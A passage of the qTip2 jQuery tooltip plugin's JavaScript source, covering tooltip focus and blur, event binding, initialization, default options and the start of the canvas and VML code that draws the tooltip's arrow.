		// tooltipfocus event
		if(this._trigger('focus', [newIndex], event)) {
			// Only update z-index's if they've changed
			if(curIndex !== newIndex) {
				// Reduce our z-index's and keep them properly ordered
				qtips.each(function() {
					if(this.style.zIndex > curIndex) {
						this.style.zIndex = this.style.zIndex - 1;
					}
				});

				// Fire blur event for focused tooltip
				qtips.filter('.' + CLASS_FOCUS).qtip('blur', event);
			}

			// Set the new z-index
			tooltip.addClass(CLASS_FOCUS)[0].style.zIndex = newIndex;
		}
	}

	return this;
};

PROTOTYPE.blur = function(event) {
	if(!this.rendered || this.destroyed) { return this; }

	// Set focused status to FALSE
	this.tooltip.removeClass(CLASS_FOCUS);

	// tooltipblur event
	this._trigger('blur', [ this.tooltip.css('zIndex') ], event);

	return this;
};
;PROTOTYPE.disable = function(state) {
	if(this.destroyed) { return this; }

	// If 'toggle' is passed, toggle the current state
	if(state === 'toggle') {
		state = !(this.rendered ? this.tooltip.hasClass(CLASS_DISABLED) : this.disabled);
	}

	// Disable if no state passed
	else if('boolean' !== typeof state) {
		state = TRUE;
	}

	if(this.rendered) {
		this.tooltip.toggleClass(CLASS_DISABLED, state)
			.attr('aria-disabled', state);
	}

	this.disabled = !!state;

	return this;
};

PROTOTYPE.enable = function() { return this.disable(FALSE); };
;PROTOTYPE._createButton = function()
{
	var self = this,
		elements = this.elements,
		tooltip = elements.tooltip,
		button = this.options.content.button,
		isString = typeof button === 'string',
		close = isString ? button : 'Close tooltip';

	if(elements.button) { elements.button.remove(); }

	// Use custom button if one was supplied by user, else use default
	if(button.jquery) {
		elements.button = button;
	}
	else {
		elements.button = $('<a />', {
			'class': 'qtip-close ' + (this.options.style.widget ? '' : NAMESPACE+'-icon'),
			'title': close,
			'aria-label': close
		})
		.prepend(
			$('<span />', {
				'class': 'ui-icon ui-icon-close',
				'html': '&times;'
			})
		);
	}

	// Create button and setup attributes
	elements.button.appendTo(elements.titlebar || tooltip)
		.attr('role', 'button')
		.click(function(event) {
			if(!tooltip.hasClass(CLASS_DISABLED)) { self.hide(event); }
			return FALSE;
		});
};

PROTOTYPE._updateButton = function(button)
{
	// Make sure tooltip is rendered and if not, return
	if(!this.rendered) { return FALSE; }

	var elem = this.elements.button;
	if(button) { this._createButton(); }
	else { elem.remove(); }
};
;// Widget class creator
function createWidgetClass(cls) {
	return WIDGET.concat('').join(cls ? '-'+cls+' ' : ' ');
}

// Widget class setter method
PROTOTYPE._setWidget = function()
{
	var on = this.options.style.widget,
		elements = this.elements,
		tooltip = elements.tooltip,
		disabled = tooltip.hasClass(CLASS_DISABLED);

	tooltip.removeClass(CLASS_DISABLED);
	CLASS_DISABLED = on ? 'ui-state-disabled' : 'qtip-disabled';
	tooltip.toggleClass(CLASS_DISABLED, disabled);

	tooltip.toggleClass('ui-helper-reset '+createWidgetClass(), on).toggleClass(CLASS_DEFAULT, this.options.style.def && !on);

	if(elements.content) {
		elements.content.toggleClass( createWidgetClass('content'), on);
	}
	if(elements.titlebar) {
		elements.titlebar.toggleClass( createWidgetClass('header'), on);
	}
	if(elements.button) {
		elements.button.toggleClass(NAMESPACE+'-icon', !on);
	}
};
;function delay(callback, duration) {
	// If tooltip has displayed, start hide timer
	if(duration > 0) {
		return setTimeout(
			$.proxy(callback, this), duration
		);
	}
	else{ callback.call(this); }
}

function showMethod(event) {
	if(this.tooltip.hasClass(CLASS_DISABLED)) { return; }

	// Clear hide timers
	clearTimeout(this.timers.show);
	clearTimeout(this.timers.hide);

	// Start show timer
	this.timers.show = delay.call(this,
		function() { this.toggle(TRUE, event); },
		this.options.show.delay
	);
}

function hideMethod(event) {
	if(this.tooltip.hasClass(CLASS_DISABLED) || this.destroyed) { return; }

	// Check if new target was actually the tooltip element
	var relatedTarget = $(event.relatedTarget),
		ontoTooltip = relatedTarget.closest(SELECTOR)[0] === this.tooltip[0],
		ontoTarget = relatedTarget[0] === this.options.show.target[0];

	// Clear timers and stop animation queue
	clearTimeout(this.timers.show);
	clearTimeout(this.timers.hide);

	// Prevent hiding if tooltip is fixed and event target is the tooltip.
	// Or if mouse positioning is enabled and cursor momentarily overlaps
	if(this !== relatedTarget[0] &&
		(this.options.position.target === 'mouse' && ontoTooltip) ||
		this.options.hide.fixed && (
			(/mouse(out|leave|move)/).test(event.type) && (ontoTooltip || ontoTarget))
		)
	{
		/* eslint-disable no-empty */
		try {
			event.preventDefault();
			event.stopImmediatePropagation();
		} catch(e) {}
		/* eslint-enable no-empty */

		return;
	}

	// If tooltip has displayed, start hide timer
	this.timers.hide = delay.call(this,
		function() { this.toggle(FALSE, event); },
		this.options.hide.delay,
		this
	);
}

function inactiveMethod(event) {
	if(this.tooltip.hasClass(CLASS_DISABLED) || !this.options.hide.inactive) { return; }

	// Clear timer
	clearTimeout(this.timers.inactive);

	this.timers.inactive = delay.call(this,
		function(){ this.hide(event); },
		this.options.hide.inactive
	);
}

function repositionMethod(event) {
	if(this.rendered && this.tooltip[0].offsetWidth > 0) { this.reposition(event); }
}

// Store mouse coordinates
PROTOTYPE._storeMouse = function(event) {
	(this.mouse = $.event.fix(event)).type = 'mousemove';
	return this;
};

// Bind events
PROTOTYPE._bind = function(targets, events, method, suffix, context) {
	if(!targets || !method || !events.length) { return; }
	var ns = '.' + this._id + (suffix ? '-'+suffix : '');
	$(targets).bind(
		(events.split ? events : events.join(ns + ' ')) + ns,
		$.proxy(method, context || this)
	);
	return this;
};
PROTOTYPE._unbind = function(targets, suffix) {
	targets && $(targets).unbind('.' + this._id + (suffix ? '-'+suffix : ''));
	return this;
};

// Global delegation helper
function delegate(selector, events, method) {
	$(document.body).delegate(selector,
		(events.split ? events : events.join('.'+NAMESPACE + ' ')) + '.'+NAMESPACE,
		function() {
			var api = QTIP.api[ $.attr(this, ATTR_ID) ];
			api && !api.disabled && method.apply(api, arguments);
		}
	);
}
// Event trigger
PROTOTYPE._trigger = function(type, args, event) {
	var callback = new $.Event('tooltip'+type);
	callback.originalEvent = event && $.extend({}, event) || this.cache.event || NULL;

	this.triggering = type;
	this.tooltip.trigger(callback, [this].concat(args || []));
	this.triggering = FALSE;

	return !callback.isDefaultPrevented();
};

PROTOTYPE._bindEvents = function(showEvents, hideEvents, showTargets, hideTargets, showCallback, hideCallback) {
	// Get tasrgets that lye within both
	var similarTargets = showTargets.filter( hideTargets ).add( hideTargets.filter(showTargets) ),
		toggleEvents = [];

	// If hide and show targets are the same...
	if(similarTargets.length) {

		// Filter identical show/hide events
		$.each(hideEvents, function(i, type) {
			var showIndex = $.inArray(type, showEvents);

			// Both events are identical, remove from both hide and show events
			// and append to toggleEvents
			showIndex > -1 && toggleEvents.push( showEvents.splice( showIndex, 1 )[0] );
		});

		// Toggle events are special case of identical show/hide events, which happen in sequence
		if(toggleEvents.length) {
			// Bind toggle events to the similar targets
			this._bind(similarTargets, toggleEvents, function(event) {
				var state = this.rendered ? this.tooltip[0].offsetWidth > 0 : false;
				(state ? hideCallback : showCallback).call(this, event);
			});

			// Remove the similar targets from the regular show/hide bindings
			showTargets = showTargets.not(similarTargets);
			hideTargets = hideTargets.not(similarTargets);
		}
	}

	// Apply show/hide/toggle events
	this._bind(showTargets, showEvents, showCallback);
	this._bind(hideTargets, hideEvents, hideCallback);
};

PROTOTYPE._assignInitialEvents = function(event) {
	var options = this.options,
		showTarget = options.show.target,
		hideTarget = options.hide.target,
		showEvents = options.show.event ? $.trim('' + options.show.event).split(' ') : [],
		hideEvents = options.hide.event ? $.trim('' + options.hide.event).split(' ') : [];

	// Catch remove/removeqtip events on target element to destroy redundant tooltips
	this._bind(this.elements.target, ['remove', 'removeqtip'], function() {
		this.destroy(true);
	}, 'destroy');

	/*
	 * Make sure hoverIntent functions properly by using mouseleave as a hide event if
	 * mouseenter/mouseout is used for show.event, even if it isn't in the users options.
	 */
	if(/mouse(over|enter)/i.test(options.show.event) && !/mouse(out|leave)/i.test(options.hide.event)) {
		hideEvents.push('mouseleave');
	}

	/*
	 * Also make sure initial mouse targetting works correctly by caching mousemove coords
	 * on show targets before the tooltip has rendered. Also set onTarget when triggered to
	 * keep mouse tracking working.
	 */
	this._bind(showTarget, 'mousemove', function(moveEvent) {
		this._storeMouse(moveEvent);
		this.cache.onTarget = TRUE;
	});

	// Define hoverIntent function
	function hoverIntent(hoverEvent) {
		// Only continue if tooltip isn't disabled
		if(this.disabled || this.destroyed) { return FALSE; }

		// Cache the event data
		this.cache.event = hoverEvent && $.event.fix(hoverEvent);
		this.cache.target = hoverEvent && $(hoverEvent.target);

		// Start the event sequence
		clearTimeout(this.timers.show);
		this.timers.show = delay.call(this,
			function() { this.render(typeof hoverEvent === 'object' || options.show.ready); },
			options.prerender ? 0 : options.show.delay
		);
	}

	// Filter and bind events
	this._bindEvents(showEvents, hideEvents, showTarget, hideTarget, hoverIntent, function() {
		if(!this.timers) { return FALSE; }
		clearTimeout(this.timers.show);
	});

	// Prerendering is enabled, create tooltip now
	if(options.show.ready || options.prerender) { hoverIntent.call(this, event); }
};

// Event assignment method
PROTOTYPE._assignEvents = function() {
	var self = this,
		options = this.options,
		posOptions = options.position,

		tooltip = this.tooltip,
		showTarget = options.show.target,
		hideTarget = options.hide.target,
		containerTarget = posOptions.container,
		viewportTarget = posOptions.viewport,
		documentTarget = $(document),
		windowTarget = $(window),

		showEvents = options.show.event ? $.trim('' + options.show.event).split(' ') : [],
		hideEvents = options.hide.event ? $.trim('' + options.hide.event).split(' ') : [];


	// Assign passed event callbacks
	$.each(options.events, function(name, callback) {
		self._bind(tooltip, name === 'toggle' ? ['tooltipshow','tooltiphide'] : ['tooltip'+name], callback, null, tooltip);
	});

	// Hide tooltips when leaving current window/frame (but not select/option elements)
	if(/mouse(out|leave)/i.test(options.hide.event) && options.hide.leave === 'window') {
		this._bind(documentTarget, ['mouseout', 'blur'], function(event) {
			if(!/select|option/.test(event.target.nodeName) && !event.relatedTarget) {
				this.hide(event);
			}
		});
	}

	// Enable hide.fixed by adding appropriate class
	if(options.hide.fixed) {
		hideTarget = hideTarget.add( tooltip.addClass(CLASS_FIXED) );
	}

	/*
	 * Make sure hoverIntent functions properly by using mouseleave to clear show timer if
	 * mouseenter/mouseout is used for show.event, even if it isn't in the users options.
	 */
	else if(/mouse(over|enter)/i.test(options.show.event)) {
		this._bind(hideTarget, 'mouseleave', function() {
			clearTimeout(this.timers.show);
		});
	}

	// Hide tooltip on document mousedown if unfocus events are enabled
	if(('' + options.hide.event).indexOf('unfocus') > -1) {
		this._bind(containerTarget.closest('html'), ['mousedown', 'touchstart'], function(event) {
			var elem = $(event.target),
				enabled = this.rendered && !this.tooltip.hasClass(CLASS_DISABLED) && this.tooltip[0].offsetWidth > 0,
				isAncestor = elem.parents(SELECTOR).filter(this.tooltip[0]).length > 0;

			if(elem[0] !== this.target[0] && elem[0] !== this.tooltip[0] && !isAncestor &&
				!this.target.has(elem[0]).length && enabled
			) {
				this.hide(event);
			}
		});
	}

	// Check if the tooltip hides when inactive
	if('number' === typeof options.hide.inactive) {
		// Bind inactive method to show target(s) as a custom event
		this._bind(showTarget, 'qtip-'+this.id+'-inactive', inactiveMethod, 'inactive');

		// Define events which reset the 'inactive' event handler
		this._bind(hideTarget.add(tooltip), QTIP.inactiveEvents, inactiveMethod);
	}

	// Filter and bind events
	this._bindEvents(showEvents, hideEvents, showTarget, hideTarget, showMethod, hideMethod);

	// Mouse movement bindings
	this._bind(showTarget.add(tooltip), 'mousemove', function(event) {
		// Check if the tooltip hides when mouse is moved a certain distance
		if('number' === typeof options.hide.distance) {
			var origin = this.cache.origin || {},
				limit = this.options.hide.distance,
				abs = Math.abs;

			// Check if the movement has gone beyond the limit, and hide it if so
			if(abs(event.pageX - origin.pageX) >= limit || abs(event.pageY - origin.pageY) >= limit) {
				this.hide(event);
			}
		}

		// Cache mousemove coords on show targets
		this._storeMouse(event);
	});

	// Mouse positioning events
	if(posOptions.target === 'mouse') {
		// If mouse adjustment is on...
		if(posOptions.adjust.mouse) {
			// Apply a mouseleave event so we don't get problems with overlapping
			if(options.hide.event) {
				// Track if we're on the target or not
				this._bind(showTarget, ['mouseenter', 'mouseleave'], function(event) {
					if(!this.cache) {return FALSE; }
					this.cache.onTarget = event.type === 'mouseenter';
				});
			}

			// Update tooltip position on mousemove
			this._bind(documentTarget, 'mousemove', function(event) {
				// Update the tooltip position only if the tooltip is visible and adjustment is enabled
				if(this.rendered && this.cache.onTarget && !this.tooltip.hasClass(CLASS_DISABLED) && this.tooltip[0].offsetWidth > 0) {
					this.reposition(event);
				}
			});
		}
	}

	// Adjust positions of the tooltip on window resize if enabled
	if(posOptions.adjust.resize || viewportTarget.length) {
		this._bind( $.event.special.resize ? viewportTarget : windowTarget, 'resize', repositionMethod );
	}

	// Adjust tooltip position on scroll of the window or viewport element if present
	if(posOptions.adjust.scroll) {
		this._bind( windowTarget.add(posOptions.container), 'scroll', repositionMethod );
	}
};

// Un-assignment method
PROTOTYPE._unassignEvents = function() {
	var options = this.options,
		showTargets = options.show.target,
		hideTargets = options.hide.target,
		targets = $.grep([
			this.elements.target[0],
			this.rendered && this.tooltip[0],
			options.position.container[0],
			options.position.viewport[0],
			options.position.container.closest('html')[0], // unfocus
			window,
			document
		], function(i) {
			return typeof i === 'object';
		});

	// Add show and hide targets if they're valid
	if(showTargets && showTargets.toArray) {
		targets = targets.concat(showTargets.toArray());
	}
	if(hideTargets && hideTargets.toArray) {
		targets = targets.concat(hideTargets.toArray());
	}

	// Unbind the events
	this._unbind(targets)
		._unbind(targets, 'destroy')
		._unbind(targets, 'inactive');
};

// Apply common event handlers using delegate (avoids excessive .bind calls!)
$(function() {
	delegate(SELECTOR, ['mouseenter', 'mouseleave'], function(event) {
		var state = event.type === 'mouseenter',
			tooltip = $(event.currentTarget),
			target = $(event.relatedTarget || event.target),
			options = this.options;

		// On mouseenter...
		if(state) {
			// Focus the tooltip on mouseenter (z-index stacking)
			this.focus(event);

			// Clear hide timer on tooltip hover to prevent it from closing
			tooltip.hasClass(CLASS_FIXED) && !tooltip.hasClass(CLASS_DISABLED) && clearTimeout(this.timers.hide);
		}

		// On mouseleave...
		else {
			// When mouse tracking is enabled, hide when we leave the tooltip and not onto the show target (if a hide event is set)
			if(options.position.target === 'mouse' && options.position.adjust.mouse &&
				options.hide.event && options.show.target && !target.closest(options.show.target[0]).length) {
				this.hide(event);
			}
		}

		// Add hover class
		tooltip.toggleClass(CLASS_HOVER, state);
	});

	// Define events which reset the 'inactive' event handler
	delegate('['+ATTR_ID+']', INACTIVE_EVENTS, inactiveMethod);
});
;// Initialization method
function init(elem, id, opts) {
	var obj, posOptions, attr, config, title,

	// Setup element references
	docBody = $(document.body),

	// Use document body instead of document element if needed
	newTarget = elem[0] === document ? docBody : elem,

	// Grab metadata from element if plugin is present
	metadata = elem.metadata ? elem.metadata(opts.metadata) : NULL,

	// If metadata type if HTML5, grab 'name' from the object instead, or use the regular data object otherwise
	metadata5 = opts.metadata.type === 'html5' && metadata ? metadata[opts.metadata.name] : NULL,

	// Grab data from metadata.name (or data-qtipopts as fallback) using .data() method,
	html5 = elem.data(opts.metadata.name || 'qtipopts');

	// If we don't get an object returned attempt to parse it manualyl without parseJSON
	/* eslint-disable no-empty */
	try { html5 = typeof html5 === 'string' ? $.parseJSON(html5) : html5; }
	catch(e) {}
	/* eslint-enable no-empty */

	// Merge in and sanitize metadata
	config = $.extend(TRUE, {}, QTIP.defaults, opts,
		typeof html5 === 'object' ? sanitizeOptions(html5) : NULL,
		sanitizeOptions(metadata5 || metadata));

	// Re-grab our positioning options now we've merged our metadata and set id to passed value
	posOptions = config.position;
	config.id = id;

	// Setup missing content if none is detected
	if('boolean' === typeof config.content.text) {
		attr = elem.attr(config.content.attr);

		// Grab from supplied attribute if available
		if(config.content.attr !== FALSE && attr) { config.content.text = attr; }

		// No valid content was found, abort render
		else { return FALSE; }
	}

	// Setup target options
	if(!posOptions.container.length) { posOptions.container = docBody; }
	if(posOptions.target === FALSE) { posOptions.target = newTarget; }
	if(config.show.target === FALSE) { config.show.target = newTarget; }
	if(config.show.solo === TRUE) { config.show.solo = posOptions.container.closest('body'); }
	if(config.hide.target === FALSE) { config.hide.target = newTarget; }
	if(config.position.viewport === TRUE) { config.position.viewport = posOptions.container; }

	// Ensure we only use a single container
	posOptions.container = posOptions.container.eq(0);

	// Convert position corner values into x and y strings
	posOptions.at = new CORNER(posOptions.at, TRUE);
	posOptions.my = new CORNER(posOptions.my);

	// Destroy previous tooltip if overwrite is enabled, or skip element if not
	if(elem.data(NAMESPACE)) {
		if(config.overwrite) {
			elem.qtip('destroy', true);
		}
		else if(config.overwrite === FALSE) {
			return FALSE;
		}
	}

	// Add has-qtip attribute
	elem.attr(ATTR_HAS, id);

	// Remove title attribute and store it if present
	if(config.suppress && (title = elem.attr('title'))) {
		// Final attr call fixes event delegatiom and IE default tooltip showing problem
		elem.removeAttr('title').attr(oldtitle, title).attr('title', '');
	}

	// Initialize the tooltip and add API reference
	obj = new QTip(elem, config, id, !!attr);
	elem.data(NAMESPACE, obj);

	return obj;
}

// jQuery $.fn extension method
QTIP = $.fn.qtip = function(options, notation, newValue)
{
	var command = ('' + options).toLowerCase(), // Parse command
		returned = NULL,
		args = $.makeArray(arguments).slice(1),
		event = args[args.length - 1],
		opts = this[0] ? $.data(this[0], NAMESPACE) : NULL;

	// Check for API request
	if(!arguments.length && opts || command === 'api') {
		return opts;
	}

	// Execute API command if present
	else if('string' === typeof options) {
		this.each(function() {
			var api = $.data(this, NAMESPACE);
			if(!api) { return TRUE; }

			// Cache the event if possible
			if(event && event.timeStamp) { api.cache.event = event; }

			// Check for specific API commands
			if(notation && (command === 'option' || command === 'options')) {
				if(newValue !== undefined || $.isPlainObject(notation)) {
					api.set(notation, newValue);
				}
				else {
					returned = api.get(notation);
					return FALSE;
				}
			}

			// Execute API command
			else if(api[command]) {
				api[command].apply(api, args);
			}
		});

		return returned !== NULL ? returned : this;
	}

	// No API commands. validate provided options and setup qTips
	else if('object' === typeof options || !arguments.length) {
		// Sanitize options first
		opts = sanitizeOptions($.extend(TRUE, {}, options));

		return this.each(function(i) {
			var api, id;

			// Find next available ID, or use custom ID if provided
			id = $.isArray(opts.id) ? opts.id[i] : opts.id;
			id = !id || id === FALSE || id.length < 1 || QTIP.api[id] ? QTIP.nextid++ : id;

			// Initialize the qTip and re-grab newly sanitized options
			api = init($(this), id, opts);
			if(api === FALSE) { return TRUE; }
			else { QTIP.api[id] = api; }

			// Initialize plugins
			$.each(PLUGINS, function() {
				if(this.initialize === 'initialize') { this(api); }
			});

			// Assign initial pre-render events
			api._assignInitialEvents(event);
		});
	}
};

// Expose class
$.qtip = QTip;

// Populated in render method
QTIP.api = {};
;$.each({
	/* Allow other plugins to successfully retrieve the title of an element with a qTip applied */
	attr: function(attr, val) {
		if(this.length) {
			var self = this[0],
				title = 'title',
				api = $.data(self, 'qtip');

			if(attr === title && api && api.options && 'object' === typeof api && 'object' === typeof api.options && api.options.suppress) {
				if(arguments.length < 2) {
					return $.attr(self, oldtitle);
				}

				// If qTip is rendered and title was originally used as content, update it
				if(api && api.options.content.attr === title && api.cache.attr) {
					api.set('content.text', val);
				}

				// Use the regular attr method to set, then cache the result
				return this.attr(oldtitle, val);
			}
		}

		return $.fn['attr'+replaceSuffix].apply(this, arguments);
	},

	/* Allow clone to correctly retrieve cached title attributes */
	clone: function(keepData) {
		// Clone our element using the real clone method
		var elems = $.fn['clone'+replaceSuffix].apply(this, arguments);

		// Grab all elements with an oldtitle set, and change it to regular title attribute, if keepData is false
		if(!keepData) {
			elems.filter('['+oldtitle+']').attr('title', function() {
				return $.attr(this, oldtitle);
			})
			.removeAttr(oldtitle);
		}

		return elems;
	}
}, function(name, func) {
	if(!func || $.fn[name+replaceSuffix]) { return TRUE; }

	var old = $.fn[name+replaceSuffix] = $.fn[name];
	$.fn[name] = function() {
		return func.apply(this, arguments) || old.apply(this, arguments);
	};
});

/* Fire off 'removeqtip' handler in $.cleanData if jQuery UI not present (it already does similar).
 * This snippet is taken directly from jQuery UI source code found here:
 *     http://code.jquery.com/ui/jquery-ui-git.js
 */
if(!$.ui) {
	$['cleanData'+replaceSuffix] = $.cleanData;
	$.cleanData = function( elems ) {
		for(var i = 0, elem; (elem = $( elems[i] )).length; i++) {
			if(elem.attr(ATTR_HAS)) {
				/* eslint-disable no-empty */
				try { elem.triggerHandler('removeqtip'); }
				catch( e ) {}
				/* eslint-enable no-empty */
			}
		}
		$['cleanData'+replaceSuffix].apply(this, arguments);
	};
}
;// qTip version
QTIP.version = '3.0.3';

// Base ID for all qTips
QTIP.nextid = 0;

// Inactive events array
QTIP.inactiveEvents = INACTIVE_EVENTS;

// Base z-index for all qTips
QTIP.zindex = 15000;

// Define configuration defaults
QTIP.defaults = {
	prerender: FALSE,
	id: FALSE,
	overwrite: TRUE,
	suppress: TRUE,
	content: {
		text: TRUE,
		attr: 'title',
		title: FALSE,
		button: FALSE
	},
	position: {
		my: 'top left',
		at: 'bottom right',
		target: FALSE,
		container: FALSE,
		viewport: FALSE,
		adjust: {
			x: 0, y: 0,
			mouse: TRUE,
			scroll: TRUE,
			resize: TRUE,
			method: 'flipinvert flipinvert'
		},
		effect: function(api, pos) {
			$(this).animate(pos, {
				duration: 200,
				queue: FALSE
			});
		}
	},
	show: {
		target: FALSE,
		event: 'mouseenter',
		effect: TRUE,
		delay: 90,
		solo: FALSE,
		ready: FALSE,
		autofocus: FALSE
	},
	hide: {
		target: FALSE,
		event: 'mouseleave',
		effect: TRUE,
		delay: 0,
		fixed: FALSE,
		inactive: FALSE,
		leave: 'window',
		distance: FALSE
	},
	style: {
		classes: '',
		widget: FALSE,
		width: FALSE,
		height: FALSE,
		def: TRUE
	},
	events: {
		render: NULL,
		move: NULL,
		show: NULL,
		hide: NULL,
		toggle: NULL,
		visible: NULL,
		hidden: NULL,
		focus: NULL,
		blur: NULL
	}
};
;var TIP,
createVML,
SCALE,
PIXEL_RATIO,
BACKING_STORE_RATIO,

// Common CSS strings
MARGIN = 'margin',
BORDER = 'border',
COLOR = 'color',
BG_COLOR = 'background-color',
TRANSPARENT = 'transparent',
IMPORTANT = ' !important',

// Check if the browser supports <canvas/> elements
HASCANVAS = !!document.createElement('canvas').getContext,

// Invalid colour values used in parseColours()
INVALID = /rgba?\(0, 0, 0(, 0)?\)|transparent|#123456/i;

// Camel-case method, taken from jQuery source
// http://code.jquery.com/jquery-1.8.0.js
function camel(s) { return s.charAt(0).toUpperCase() + s.slice(1); }

/*
 * Modified from Modernizr's testPropsAll()
 * http://modernizr.com/downloads/modernizr-latest.js
 */
var cssProps = {}, cssPrefixes = ['Webkit', 'O', 'Moz', 'ms'];
function vendorCss(elem, prop) {
	var ucProp = prop.charAt(0).toUpperCase() + prop.slice(1),
		props = (prop + ' ' + cssPrefixes.join(ucProp + ' ') + ucProp).split(' '),
		cur, val, i = 0;

	// If the property has already been mapped...
	if(cssProps[prop]) { return elem.css(cssProps[prop]); }

	while(cur = props[i++]) {
		if((val = elem.css(cur)) !== undefined) {
			cssProps[prop] = cur;
			return val;
		}
	}
}

// Parse a given elements CSS property into an int
function intCss(elem, prop) {
	return Math.ceil(parseFloat(vendorCss(elem, prop)));
}


// VML creation (for IE only)
if(!HASCANVAS) {
	createVML = function(tag, props, style) {
		return '<qtipvml:'+tag+' xmlns="urn:schemas-microsoft.com:vml" class="qtip-vml" '+(props||'')+
			' style="behavior: url(#default#VML); '+(style||'')+ '" />';
	};
}

// Canvas only definitions
else {
	PIXEL_RATIO = window.devicePixelRatio || 1;
	BACKING_STORE_RATIO = (function() {
		var context = document.createElement('canvas').getContext('2d');
		return context.backingStorePixelRatio || context.webkitBackingStorePixelRatio || context.mozBackingStorePixelRatio ||
				context.msBackingStorePixelRatio || context.oBackingStorePixelRatio || 1;
	})();
	SCALE = PIXEL_RATIO / BACKING_STORE_RATIO;
}


function Tip(qtip, options) {
	this._ns = 'tip';
	this.options = options;
	this.offset = options.offset;
	this.size = [ options.width, options.height ];

	// Initialize
	this.qtip = qtip;
	this.init(qtip);
}

$.extend(Tip.prototype, {
	init: function(qtip) {
		var context, tip;

		// Create tip element and prepend to the tooltip
		tip = this.element = qtip.elements.tip = $('<div />', { 'class': NAMESPACE+'-tip' }).prependTo(qtip.tooltip);

		// Create tip drawing element(s)
		if(HASCANVAS) {
			// save() as soon as we create the canvas element so FF2 doesn't bork on our first restore()!
			context = $('<canvas />').appendTo(this.element)[0].getContext('2d');

			// Setup constant parameters
			context.lineJoin = 'miter';
			context.miterLimit = 100000;
			context.save();
		}
		else {
			context = createVML('shape', 'coordorigin="0,0"', 'position:absolute;');
			this.element.html(context + context);

			// Prevent mousing down on the tip since it causes problems with .live() handling in IE due to VML
			qtip._bind( $('*', tip).add(tip), ['click', 'mousedown'], function(event) { event.stopPropagation(); }, this._ns);
		}

		// Bind update events
		qtip._bind(qtip.tooltip, 'tooltipmove', this.reposition, this._ns, this);

		// Create it
		this.create();
	},

	_swapDimensions: function() {
		this.size[0] = this.options.height;
		this.size[1] = this.options.width;
	},
	_resetDimensions: function() {
		this.size[0] = this.options.width;
		this.size[1] = this.options.height;
	},

	_useTitle: function(corner) {
		var titlebar = this.qtip.elements.titlebar;
		return titlebar && (
			corner.y === TOP || corner.y === CENTER && this.element.position().top + this.size[1] / 2 + this.options.offset < titlebar.outerHeight(TRUE)
		);
	},

	_parseCorner: function(corner) {
		var my = this.qtip.options.position.my;

		// Detect corner and mimic properties
		if(corner === FALSE || my === FALSE) {
			corner = FALSE;
		}
		else if(corner === TRUE) {
			corner = new CORNER( my.string() );
		}
		else if(!corner.string) {
			corner = new CORNER(corner);
			corner.fixed = TRUE;
		}

		return corner;
	},

	_parseWidth: function(corner, side, use) {
		var elements = this.qtip.elements,
			prop = BORDER + camel(side) + 'Width';

		return (use ? intCss(use, prop) : 
			intCss(elements.content, prop) ||
			intCss(this._useTitle(corner) && elements.titlebar || elements.content, prop) ||
			intCss(elements.tooltip, prop)
		) || 0;
	},

	_parseRadius: function(corner) {
		var elements = this.qtip.elements,
			prop = BORDER + camel(corner.y) + camel(corner.x) + 'Radius';

		return BROWSER.ie < 9 ? 0 :
			intCss(this._useTitle(corner) && elements.titlebar || elements.content, prop) ||
			intCss(elements.tooltip, prop) || 0;
	},

	_invalidColour: function(elem, prop, compare) {
		var val = elem.css(prop);
		return !val || compare && val === elem.css(compare) || INVALID.test(val) ? FALSE : val;
	},

	_parseColours: function(corner) {
		var elements = this.qtip.elements,
			tip = this.element.css('cssText', ''),
			borderSide = BORDER + camel(corner[ corner.precedance ]) + camel(COLOR),
			colorElem = this._useTitle(corner) && elements.titlebar || elements.content,
			css = this._invalidColour, color = [];

		// Attempt to detect the background colour from various elements, left-to-right precedance
		color[0] = css(tip, BG_COLOR) || css(colorElem, BG_COLOR) || css(elements.content, BG_COLOR) ||
			css(elements.tooltip, BG_COLOR) || tip.css(BG_COLOR);

		// Attempt to detect the correct border side colour from various elements, left-to-right precedance
		color[1] = css(tip, borderSide, COLOR) || css(colorElem, borderSide, COLOR) ||
			css(elements.content, borderSide, COLOR) || css(elements.tooltip, borderSide, COLOR) || elements.tooltip.css(borderSide);

		// Reset background and border colours
		$('*', tip).add(tip).css('cssText', BG_COLOR+':'+TRANSPARENT+IMPORTANT+';'+BORDER+':0'+IMPORTANT+';');

		return color;
	},

	_calculateSize: function(corner) {
		var y = corner.precedance === Y,
			width = this.options.width,
			height = this.options.height,
			isCenter = corner.abbrev() === 'c',
			base = (y ? width: height) * (isCenter ? 0.5 : 1),
			pow = Math.pow,
			round = Math.round,
			bigHyp, ratio, result,

		smallHyp = Math.sqrt( pow(base, 2) + pow(height, 2) ),
		hyp = [
			this.border / base * smallHyp,
			this.border / height * smallHyp
		];

		hyp[2] = Math.sqrt( pow(hyp[0], 2) - pow(this.border, 2) );
		hyp[3] = Math.sqrt( pow(hyp[1], 2) - pow(this.border, 2) );

		bigHyp = smallHyp + hyp[2] + hyp[3] + (isCenter ? 0 : hyp[0]);
		ratio = bigHyp / smallHyp;

		result = [ round(ratio * width), round(ratio * height) ];
		return y ? result : result.reverse();
	},

	// Tip coordinates calculator
	_calculateTip: function(corner, size, scale) {
		scale = scale || 1;
		size = size || this.size;

		var width = size[0] * scale,
			height = size[1] * scale,
			width2 = Math.ceil(width / 2), height2 = Math.ceil(height / 2),

		// Define tip coordinates in terms of height and width values
		tips = {
			br:	[0,0,		width,height,	width,0],
			bl:	[0,0,		width,0,		0,height],
			tr:	[0,height,	width,0,		width,height],
			tl:	[0,0,		0,height,		width,height],
			tc:	[0,height,	width2,0,		width,height],
			bc:	[0,0,		width,0,		width2,height],
			rc:	[0,0,		width,height2,	0,height],
			lc:	[width,0,	width,height,	0,height2]
		};

		// Set common side shapes
		tips.lt = tips.br; tips.rt = tips.bl;
		tips.lb = tips.tr; tips.rb = tips.tl;

		return tips[ corner.abbrev() ];
	},

	// Tip coordinates drawer (canvas)
	_drawCoords: function(context, coords) {
		context.beginPath();
		context.moveTo(coords[0], coords[1]);
		context.lineTo(coords[2], coords[3]);
		context.lineTo(coords[4], coords[5]);
		context.closePath();
	},

	create: function() {
		// Determine tip corner
		var c = this.corner = (HASCANVAS || BROWSER.ie) && this._parseCorner(this.options.corner);

		// If we have a tip corner...
		this.enabled = !!this.corner && this.corner.abbrev() !== 'c';
		if(this.enabled) {
			// Cache it
			this.qtip.cache.corner = c.clone();

			// Create it
			this.update();
		}

		// Toggle tip element
		this.element.toggle(this.enabled);

		return this.corner;
	},

	update: function(corner, position) {
		if(!this.enabled) { return this; }

		var elements = this.qtip.elements,
			tip = this.element,
			inner = tip.children(),
			options = this.options,
			curSize = this.size,
			mimic = options.mimic,
			round = Math.round,
			color, precedance, context,
